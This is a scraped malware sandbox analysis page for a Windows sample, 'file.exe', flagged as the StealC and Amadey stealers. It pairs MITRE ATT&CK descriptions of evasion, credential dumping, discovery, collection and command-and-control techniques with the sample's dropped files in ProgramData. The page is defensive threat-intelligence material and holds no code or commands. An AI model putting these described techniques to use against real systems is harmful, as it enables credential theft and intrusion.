Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\FIJKEHJJ

C:\ProgramData\GCBGIIECGHCAKECAFBFH

C:\ProgramData\GHDBKJKJKKJDGDGDGIDG

C:\ProgramData\HCFCAAEB

C:\ProgramData\HDGCGHIJKEGIECBFCBAECGIEBK

C:\ProgramData\JEHIIDGCFHIEGDGCBFHDBAEHDA

C:\ProgramData\JJECAAEHCFIEBGCBGHIE

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre